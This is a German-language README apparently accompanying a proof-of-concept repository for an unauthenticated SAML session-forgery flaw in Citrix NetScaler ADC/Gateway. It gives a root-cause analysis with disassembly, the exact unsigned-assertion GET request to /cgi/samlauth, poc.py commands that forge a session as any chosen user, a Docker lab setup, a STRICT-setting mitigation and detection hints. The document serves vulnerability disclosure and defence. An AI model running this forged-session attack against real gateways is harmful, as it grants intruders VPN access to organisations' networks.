
# NetScaler ADC/Gateway SAML-Umgehung durch unsignierte Assertion über HTTP-Redirect-Binding (CTX696939) – Root-Cause-Analyse + PoC
Nicht authentifizierte Session-Fälschung auf Citrix NetScaler ADC / NetScaler Gateway über den
SAML-HTTP-Redirect-Binding-Handler unter GET /cgi/samlauth. CVSS 4.0 9.3, CWE-288.
Bulletin CTX696939 (2026-08-19), keine Workarounds. Die Anerkennung für den ursprünglichen Bericht geht
an Samarth Vashisht (JPMorgan Chase Pen-Test-Team); die Root-Cause-Analyse und der
Code in diesem Repository stammen von mir.
Betroffen: 14.1 vor 14.1-73.32, 13.1 vor 13.1-63.21. Behoben in diesen beiden Builds.
Zwei Dinge gehen in nsppe, der Paket-Engine, gemeinsam schief.
1. Das Redirect-Binding parst Assertions mit deaktiviertem Strict-Flag.
Alle Aufrufstellen des SAML-Response-Parsers (sub_b40a50) richten vor dem Aufruf ein „strict“-Argument ein. Der POST-Binding-Pfad (den Browser tatsächlich für SAML-Responses verwenden) übergibt es gesetzt. Der HTTP-Redirect-Binding-Pfad tut dies nicht:
$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
b7f532: 41 b8 00 00 00 00 mov r8d,0x0 <-- strict AUS
b7f538: 48 8d 8d d8 fe ff ff lea rcx,[rbp-0x128]
b7f53f: 48 8b 95 b8 fe ff ff mov rdx,[rbp-0x148]
b7f546: 8b b5 cc fe ff ff mov esi,[rbp-0x134]
b7f54c: 48 8b 3d f5 9f 6f 02 mov rdi,[rip+0x26f9ff5]
b7f553: e8 f8 14 fc ff call b40a50 <-- der Parser
Das ist der alternative Pfad im CWE-288-Sinne. Gleiche Request-Oberfläche, schwächere Parser-Invokation, erreichbar für jeden, der ein GET mit einem SAMLResponse-Query-Parameter senden kann.
2. Das Unsigned-Assertion-Gate behandelt die Standardkonfiguration als ALLOW.
Innerhalb des Redirect-Handlers wird, wenn die Anfrage kein SigAlg/Signature trägt, das Konfigurationswort für rejectUnsignedAssertion verglichen und wie folgt verzweigt:
$ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30
b7ee3b: 83 78 08 02 cmp DWORD PTR [rax+0x8],0x2
b7ee3f: 74 5d je b7ee9e <-- springt zum ACCEPT-Pfad
Die Wortwerte sind: 2 = rejectUnsignedAssertion ON (die Standardeinstellung), 3 = STRICT.
Das je sendet 2 zum Akzeptieren. Nur STRICT erreicht die Deny-Log-Zeile:
$ strings -t x nsppe-14.1-73.30 | grep 'denying as per action'
2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s
Auf einem System mit Standardkonfiguration wird eine unsigned Assertion, die dem Redirect-Binding übergeben wird, also geparst (strict aus), über das Unsigned-Gate akzeptiert (ON als Allow fehlgelesen) und durchläuft dann die üblichen Post-Parse-Schritte: Issuer/Audience/Subject-Prüfungen gegen die SAML-Action-Konfiguration, dann Session-Konstruktion aus angreiferkontrollierten Feldern. Kein Digest, keine RSA-Verifikation, irgendwo auf dieser Route. Das POST-Binding ist nicht in gleicher Weise betroffen — es übergibt strict an den Parser und lehnt unsigned Eingaben korrekt ab.
Voraussetzungen laut Bulletin, gegen das Binary bestätigt: Builds ab 14.1-43.56 / 13.1-61.28 benötigen eine SAML-Action, die an einen Gateway- oder AAA-vserver gebunden ist (das normale SAML-SSO-Setup, sodass die meisten SAML-Bereitstellungen qualifiziert sind). Frühere Builds registrieren die Route allein mit dem vserver.
Ein GET. Eine SAML-Response ohne <ds:Signature> irgendwo bauen, DEFLATE + base64
kodieren und senden:
GET /cgi/samlauth?SAMLResponse=<b64(raw-deflate(xml))>&RelayState=<ctx> HTTP/1.1
Host: <gateway>
Die Werte, die mit der SAML-Action-Konfiguration des Ziels übereinstimmen müssen: Assertion-Issuer = die IdP-Entity-ID, Audience = die SP-Entity-ID, Recipient/Destination = die ACS-URL, und bei transaktionalen Setups ein InResponseTo aus einer Live-AuthnRequest. --mint durchläuft die eigene Pre-Auth-Login-Umleitung des Gateways, um diese zu erfassen (die SAMLRequest im Location-Header trägt alle davon). Eine 302 auf /vpn/ plus ein echtes NSC_AAAC / NSC_TASS-Cookie (nicht die xyz-Löschmarker) ist eine gefälschte Session als beliebige NameID, die Sie einsetzen.
pip install requests
# Ist der Endpunkt vorhanden und verarbeitet das GET-Binding SAMLResponse überhaupt
python3 poc.py https://vpn.target.com --check-only
# Nicht-intrusive Konfigurationssonde: unsigned Assertion mit absichtlich FALSCHEM Issuer.
# 'Malformed Assertion' (0xe0005) -> STRICT, nicht anfällig für diesen Vektor
# Issuer/Policy-Fehler (0xe0012) -> Standardkonfiguration, anfällig; keine Session gemintet
python3 poc.py https://vpn.target.com --safe-oracle
# Vollständige Kette (nur autorisierte Ziele): SP-Kette minten, fälschen, einmal validieren
python3 poc.py https://vpn.target.com --mint --name-id [email protected]
--safe-oracle existiert, weil die beiden Konfigurationen unterschiedliche Fehlerseiten zurückgeben, bevor etwas Session-Ähnliches passiert — so können sich Verteidiger auch selbst prüfen, ohne einen echten IdP zu berühren. Führen Sie es gegen Ihre eigene Ausrüstung aus.
demo/demo.gif (auch demo.mp4, und demo/demo.cast, falls Sie es mit asciinema play abspielen möchten): betroffener Build aus dem Docker-Image, die Wort-2-Standardkonfiguration, die beiden aus dem ausgelieferten nsppe disassemblierten Binary-Zweige und der PoC-Endpunkt-Check. Die letzte Meile, die Session-Ausstellung, benötigt eine lizenzierte VPX — CPX Express verweigert AAA-Sessions auf der Lizenzebene — was lab/record-demo.sh erfasst, wenn Sie eine haben.
lab/setup-cpx.sh bringt den exakt betroffenen Build in Docker hoch:
docker run -dt --privileged --name cpx19490 -e EULA=YES \
quay.io/netscaler/netscaler-cpx:14.1-73.30
bash lab/setup-cpx.sh
und konfiguriert eine SAML-Action mit rejectUnsignedAssertion ON, eine Policy und einen Gateway-vserver. Zwei auf die harte Tour gelernte Einschränkungen:
/cgi/samlauth, aber jede Anfrage landet auf 480 Login exceeds maximum allowed users. Gut genug, um Konfiguration + Endpunkt + Binary-Zustand zu reproduzieren, nicht das finale Session-Cookie.lab/record-demo.sh die gesamte asciinema-Sequenz auf: Version, Konfiguration, Safe-Oracle, gefälschte Session, STRICT-Negativkontrolle.Die oben genannten Offsets des ausgelieferten Binaries stammen direkt aus diesem Image:
docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 ./nsppe-14.1-73.30
set samlAction <name> -samlRejectUnsignedAssertion STRICT blockiert den Redirect-Vektor auf dem anfälligen Pfad (es macht Wort==3). Beachten Sie, dass STRICT auch ändert, was das System von Ihrem IdP erwartet (Response- + Assertion-Signaturanforderungen), was vermutlich der Grund ist, warum Citrix ON als Standard ausliefert und warum „einfach STRICT setzen“ für alle kein sauberer Workaround ist./cgi/samlauth mit SAMLResponse per GET (Redirect-Binding-Responses sind in freier Wildbahn selten — Browser POSTen), unsigned Payloads und die obige Fehlerseiten-Differenz.Nur für autorisierte Sicherheitstests: Ihr eigenes Labor oder Ziele, die ausdrücklich im Rahmen eines Programms liegen, für das Sie autorisiert sind. Der Autor ist weder mit Citrix noch mit dem ursprünglichen Melde-Team verbunden.
MIT-Lizenz, siehe LICENSE.